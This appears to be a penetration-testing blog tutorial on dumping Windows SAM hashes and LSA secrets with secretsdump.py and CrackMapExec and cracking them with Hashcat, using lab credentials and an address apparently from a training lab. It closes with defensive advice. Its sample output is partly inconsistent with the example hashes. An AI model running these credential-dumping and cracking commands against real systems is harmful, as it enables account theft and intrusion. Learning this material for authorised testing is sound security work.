Dumping LSA Secrets and Cracking Windows Credentials with Hashcat

When assessing the security posture of Windows environments, one of the most valuable pieces of information an attacker or penetration tester can extract is credential data. In this blog, we will explore how to dump local Security Account Manager (SAM) hashes and extract LSA secrets using secretsdump.py and CrackMapExec, then crack them with Hashcat.

Extracting SAM Hashes with secretsdump.py

The secretsdump.py tool, part of the Impacket suite, allows us to dump password hashes from the local SAM database. Windows stores user credentials in the SAM registry hive, which is encrypted using the system boot key.

Once we have access to a compromised machine, we can run secretsdump.py to extract the hashes:

sudo secretsdump.py -sam -system /path/to/SYSTEM /path/to/SAM LOCAL

Understanding the Output

When secretsdump successfully extracts the hashes, the output will look something like this:

Attacking SAM
Dumping local SAM hashes (uid:rid:lmhash:nthash)

Modern Windows systems store passwords as NT hashes (NTLM), whereas older systems (pre-Windows Vista) may still store LM hashes. The NT hash can be cracked using Hashcat or used for pass-the-hash attacks.

Cracking Extracted Hashes with Hashcat

After dumping the NT hashes, we save them into a text file for cracking:

sudo vim hashestocrack.txt

Example hashes:

64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33

We will now use Hashcat to attempt to crack these hashes using a wordlist attack with rockyou.txt:

sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

Sample Output

Recovered........: 3/5 (100.00%) Digests
Hash.Name........: NTLM
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Candidates.#1....: newzealand -> whitetiger
f7eb9c06fafaa23c4bcf22ba6781c1e2:dragon
6f8c3f4d3869a10f3b4f0522f537fd33:iloveme
184ecdda8cf1dd238d438c4aea4d560d:adrian

In this example, Hashcat successfully cracked multiple NT hashes, revealing plaintext passwords. These credentials could be used to escalate privileges or move laterally within a network.

Dumping LSA Secrets Remotely

With local admin privileges, we can also extract LSA Secrets, which may store service account passwords, scheduled task credentials, or DPAPI keys.

Using CrackMapExec, we can retrieve LSA secrets remotely:

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa

Sample Output

SMB 10.129.42.198 445 WS01 [+] Dumping LSA secrets
SMB 10.129.42.198 445 WS01 worker:Hello123
SMB 10.129.42.198 445 WS01 dpapi_machinekey:0xc03a4a9b2c045e...

Similarly, we can dump SAM hashes remotely using:

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

Defensive Considerations

How to Protect Against These Attacks

• Enable LSASS Protection — Prevents tools from dumping LSASS memory.
• Implement Strong Password Policies — Enforce long, complex passwords to make cracking difficult.
• Use Credential Guard — Protects stored credentials from being extracted.
• Monitor for Suspicious Activity — Detect tools like secretsdump.py or CrackMapExec running in your environment.

Conclusion

Understanding how attackers extract credentials allows defenders to implement stronger security controls. Tools like secretsdump, CrackMapExec, and Hashcat are powerful for security testing but should only be used ethically and within legal boundaries. By implementing robust defenses, organizations can mitigate the risks associated with credential theft.